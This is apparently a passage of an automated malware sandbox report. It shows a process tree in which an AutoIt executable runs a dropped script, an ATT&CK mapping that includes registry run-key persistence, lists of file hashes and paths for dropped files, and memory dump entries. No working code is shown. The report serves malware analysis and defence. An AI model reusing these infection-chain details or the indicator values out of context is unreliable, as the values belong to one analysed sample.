        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=E7DACEECDC976C71449E4A60A68453E3 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=E7DACEECDC976C71449E4A60A68453E3 --renderer-client-id=10 --mojo-platform-channel-handle=2012 --allow-no-sandbox-job /prefetch:1
        6⤵
        
        PID:1584
  - - C:\Users\Admin\AppData\Roaming\Autoit3.exe
      "C:\Users\Admin\AppData\Roaming\Autoit3.exe" C:\Users\Admin\AppData\Roaming\script.au3
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:4280

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scripting

T1064

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

eedgafc

Path C:\ProgramData\bfbebeb\eedgafc
Size 1KB
SHA256 2164035e0995bc3bb3758fce8de9cad4b6d013084d2eed27445b558c5964f3a4
MD5 e54c2b2057cd069d9b796f5eab3875eb
SHA1 411646c94c428b7a5675d00800c00281537c46dd
SHA512 3747b0a9ea56fe70011ec2a95ad5f8c56c14bdb403d74f0e919123095efcd12e2e756b89ed34b14ad6e8ae0a865ef18d2bde11bb2a455c2babfbb7da7313930c
MD5 SHA1 SHA512

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 36KB
SHA256 b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
MD5 b30d3becc8731792523d599d949e63f5
SHA1 19350257e42d7aee17fb3bf139a9d3adb330fad4
SHA512 523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e
SSDEEP 24:TLiXlzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzm+Zs3tGl:TqlmFTIF3XmHjBoGGR+jMz+LhT
MD5 SHA1 SHA512 SSDEEP

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 56KB
SHA256 111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
MD5 752a1f26b18748311b691c7d8fc20633
SHA1 c1f8e83eebc1cc1e9b88c773338eb09ff82ab862
SHA512 a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5
SSDEEP 192:wedRBvVrThe4p4/KhTB4p4CitZtkZsLRGVDbw6H3ph+v3YQa9:weZdThkKhBvkZsLRGlzh+vS9
MD5 SHA1 SHA512 SSDEEP

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 64KB
SHA256 726de4eec9e13bacf3050432824df21aa4847aab711524a2ff155c5534f84e06
MD5 3108dfbb2ff46757febc0b73ed48ce12
SHA1 d3d41382344014c268c7eee3504a564be84dc543
SHA512 72668fd59462bd7399df873c9d7affe0b6ba4d1ad2f223a3d786b81986144ce1201b8f1523724828e53dd37fd7911b181c7a80c3cae5ac1a10127566cf3f98d2
SSDEEP 384:yeNdThatELJ8SWvDTGJCesZsLglKhubvGZsLRZh+vS4:0+elZsLQCZsL3hUS4
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 c53094f79b260343ba1efa7d8e62dfa6ab8cf275f947e4eb6bec200228342efb
MD5 0aa30cb82b8891d5a57a64ed312a14fb
SHA1 fcc5dc9d9d71026af3afb1abd007f75ea102e2ff
SHA512 e6d9eec3765d3f883e16374d956f31f20bc6147acdffe471540bad8a030b92a7dcfd4bcc10726b9e048a6e3a587fbf468121836c6126b4508a3b786fa721c333
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_qkvotxpo.ael.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qkvotxpo.ael.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Autoit3.exe

Path C:\Users\Admin\AppData\Roaming\Autoit3.exe
Size 866KB
SHA256 ca33cb26fcaccf0c599f0a852d1ceaeb9c51f62ef5cc2eb522e23e10249f73e5
MD5 02433e9f5283965d04f36f7229edab30
SHA1 0bd2830160814b7b2c3c2fa2cf70e76f449192c3
SHA512 297b92d94ff2675f01b669722c1509d1a8ecfdce4a39f110f379c192d6b9ac69b0d37d40509935bbc6b37f1028dbf40db75cb4e3c183a9df5044d9148eae6aca
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

Submit Download

Autoit3.exe

Path C:\Users\Admin\AppData\Roaming\Autoit3.exe
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

Submit Download

EEfcEeH

Path C:\Users\Admin\AppData\Roaming\EEfcEeH
Size 32B
SHA256 45be0951b45ef916ab834d417957d9b4ae0f913ebbfa9c07d3fd0d30fe48d11b
MD5 4bd109e6eca9bfa3bdf5f1452ecb791c
SHA1 7d539614fa5dd97bb251d3c48c8406615d77bb7c
SHA512 c4bd0d9bfda80b627a5e8392b5c1d622215865538ebd8f7a397961c87da49b42ab7396b36e2eebdf0258906eb653014c6ace23deec390ff21760a972b7d00a44
MD5 SHA1 SHA512

Submit Download

p1345.pdf

Path C:\Users\Admin\AppData\Roaming\p1345.pdf
Size 902KB
SHA256 634f66f446f16422dd7814dd94a970505c998277204e894bd96bb884caad9384
MD5 539f64cc7b7cd63b1b4e7d5ff7165587
SHA1 b2ac69c27d7d09d8448537093314a17e397e51fe
SHA512 bd24b0f69a88fe0925026ccd301bfa069259e6191fbe4fd5d3a489572ce0b4997d227d364829ad49145771aae0a691663819fbfdba808ebe396abde0f454be33
SSDEEP 24576:jMOBmTCMS/VfJ4NLHThfBZieSMbJJ3buoA5qguz:j2+MSwdWerJJ3buoA5qguz
MD5 SHA1 SHA512 SSDEEP

Submit Download

script.au3

Path C:\Users\Admin\AppData\Roaming\script.au3
Size 576KB
SHA256 4527715b314ef96605aa84bcbd7194544f9cf72368e1b95d06cf11b95ffd91c2
MD5 13160c138aced9288e897c0eb2db46cb
SHA1 d07340d43fcf1a8b824a72959e0ed1c836f3da04
SHA512 d57d8c4623a32e7ab1507535c13469b83a6482c444eacf0d7be112a81947b81c09dd9da0cac9ede7ba1770299cd06d5708426ea075a41b3679297bc7c7518c8c
SSDEEP 6144:jM6xcGcJBMCA8EFhI3jOt9A0Q/E8Axu6bvFR5AE9jFjAECpZTYDsyqyvwXgHCfJ1:jBthITm9p88zT1jAbpZTAHCfvMgz
MD5 SHA1 SHA512 SSDEEP

Submit Download

test.txt

Path C:\Users\Admin\AppData\Roaming\test.txt
Size 76B
SHA256 53ec8b2b5fbdd2f91e46b9acd51483b5e377fc2ed6761364ab32c9281013975d
MD5 b9058fb0788940a03148a71d8530b426
SHA1 a0e6d9d4f5aca04e86e433ad87110288de38da07
SHA512 9fec43d35146831e15c631fe76e9542f6092614eda628c41bb1c8114b584c6b4b09d86811c423384a98f0f43b5f42bece120afd26d23f2d348397572907a9a54
MD5 SHA1 SHA512

Submit Download

cc.txt

Path C:\temp\cc.txt
Size 4B
SHA256 c20a454b1a91e7426328806e4fd19cb650ffd4139d3b82921070b7b5362d0126
MD5 fd280a65aa5b01487fd9386dad9227c4
SHA1 e03a2e0e04a05b64c66258a186f5966b8b7fd1d8
SHA512 5adcd6e05acb3280c2f7f302f21a65a9e1d2b48ab7badd655b615a6670ae6f2725e52afe22e0ef4ed0a13d2423aad7c4baa7f33060e34ce8b6a56ec8991cbd42
MD5 SHA1 SHA512

Submit Download

fs.txt

Path C:\temp\fs.txt
Size 4B
SHA256 2d4cb395dbdc57914bd2eac495cd0464c9c326d5dfb2aa2ec79ae0b65059315e
MD5 37bba753dfee488e6b696d420c9b17fb
SHA1 ee903c8e54fe07ee25b6d0539ca847db2a943ef1
SHA512 5a8710490231d4c5f6b234b1f04be26cde9763e10f8fe1bf5aa2d237e8c5382abdfe51c724a81a5a9520f50e919819471eeda8b8b6862a93707144c66cdb4e26
MD5 SHA1 SHA512

Submit Download

lp.txt

Path C:\temp\lp.txt
Size 4B
SHA256 4b9a7f50c0bb198c6f5414c5a8459f5d216d34ab521ea94c060ea35cac66f900
MD5 253614bbac999b38b5b60cae531c4969
SHA1 084b3af47af339166ebc6120a52059499a7b2d38
SHA512 c939074b8c2748c6fccf2821992cebeb87a6a3c225dd12cf75b2497f0ea6d52426cf63e86fc91033818e3e00ad29a948277b6342b024d1d6d89abb3fdfdfeefe
MD5 SHA1 SHA512

Submit Download

memory/2012-141-0x0000000006500000-0x0000000006CA2000-memory.dmp

Download

memory/2012-139-0x00000000017A0000-0x00000000017A1000-memory.dmp

Download

memory/2320-280-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-153-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-279-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-287-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-295-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-171-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-303-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-173-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-311-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-169-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-166-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-319-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-272-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-155-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-327-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-158-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-154-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-335-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-343-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-351-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-359-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/2320-367-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/3564-45-0x000000006DA10000-0x000000006DA5C000-memory.dmp

Download

memory/3564-57-0x00000000050A0000-0x00000000050B0000-memory.dmp

Download

memory/3564-97-0x0000000071170000-0x0000000071920000-memory.dmp

Download

memory/3564-82-0x00000000088D0000-0x00000000088EA000-memory.dmp

Download

memory/3564-43-0x000000007F260000-0x000000007F270000-memory.dmp

Download

memory/3564-83-0x0000000008910000-0x0000000008918000-memory.dmp

Download

memory/3564-37-0x0000000007910000-0x0000000007932000-memory.dmp

Download

memory/3564-38-0x0000000008A70000-0x0000000009014000-memory.dmp

Download

memory/3564-70-0x000000006DB70000-0x000000006DEC4000-memory.dmp

Download

memory/3564-80-0x0000000008880000-0x000000000888E000-memory.dmp

Download

memory/3564-81-0x0000000008890000-0x00000000088A4000-memory.dmp

Download

memory/3564-61-0x0000000008820000-0x0000000008832000-memory.dmp

Download

memory/3564-22-0x0000000071170000-0x0000000071920000-memory.dmp

Download

memory/3564-46-0x000000006DB70000-0x000000006DEC4000-memory.dmp

Download

memory/3564-23-0x00000000050A0000-0x00000000050B0000-memory.dmp

Download

memory/3564-59-0x00000000087B0000-0x00000000087BA000-memory.dmp

Download

memory/3564-36-0x00000000079F0000-0x0000000007A86000-memory.dmp

Download

memory/3564-35-0x0000000007740000-0x00000000077B6000-memory.dmp

Download

memory/3564-58-0x00000000086C0000-0x0000000008763000-memory.dmp

Download

memory/3564-62-0x0000000008800000-0x000000000880A000-memory.dmp

Download

memory/3564-44-0x0000000008660000-0x0000000008692000-memory.dmp

Download

memory/3564-24-0x00000000050A0000-0x00000000050B0000-memory.dmp

Download

memory/3564-56-0x00000000086A0000-0x00000000086BE000-memory.dmp

Download

memory/3564-60-0x00000000087C0000-0x00000000087D1000-memory.dmp

Download

memory/3564-34-0x00000000075D0000-0x0000000007614000-memory.dmp

Download

memory/4280-159-0x0000000005B30000-0x0000000005E7E000-memory.dmp

Download

memory/4280-103-0x0000000004530000-0x0000000005500000-memory.dmp

Download

memory/4280-104-0x0000000005B30000-0x0000000005E7E000-memory.dmp

Download

memory/4664-6-0x0000000005C60000-0x0000000005CC6000-memory.dmp

Download

memory/4664-19-0x0000000006380000-0x00000000063CC000-memory.dmp

Download

memory/4664-3-0x0000000004E10000-0x0000000004E20000-memory.dmp

Download

memory/4664-102-0x0000000071170000-0x0000000071920000-memory.dmp

Download

memory/4664-2-0x0000000004E10000-0x0000000004E20000-memory.dmp

Download

memory/4664-0-0x0000000004D90000-0x0000000004DC6000-memory.dmp

Download

memory/4664-21-0x0000000006860000-0x000000000687A000-memory.dmp

Download

memory/4664-20-0x0000000007C90000-0x000000000830A000-memory.dmp

Download

memory/4664-4-0x0000000005450000-0x0000000005A78000-memory.dmp

Download

memory/4664-1-0x0000000071170000-0x0000000071920000-memory.dmp

Download

memory/4664-18-0x0000000006350000-0x000000000636E000-memory.dmp

Download

memory/4664-17-0x0000000005F70000-0x00000000062C4000-memory.dmp

Download

memory/4664-8-0x0000000005D40000-0x0000000005DA6000-memory.dmp

Download

memory/4664-5-0x0000000005B40000-0x0000000005B62000-memory.dmp

Download

memory/4948-282-0x000000000ACD0000-0x000000000AF7B000-memory.dmp

Download

memory/5048-177-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/5048-294-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/5048-326-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/5048-302-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/5048-334-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/5048-310-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/5048-342-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/5048-175-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/5048-350-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/5048-286-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/5048-358-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/5048-318-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/5048-366-0x0000000000400000-0x0000000000470000-memory.dmp

Download

memory/5048-278-0x0000000000400000-0x0000000000470000-memory.dmp

Download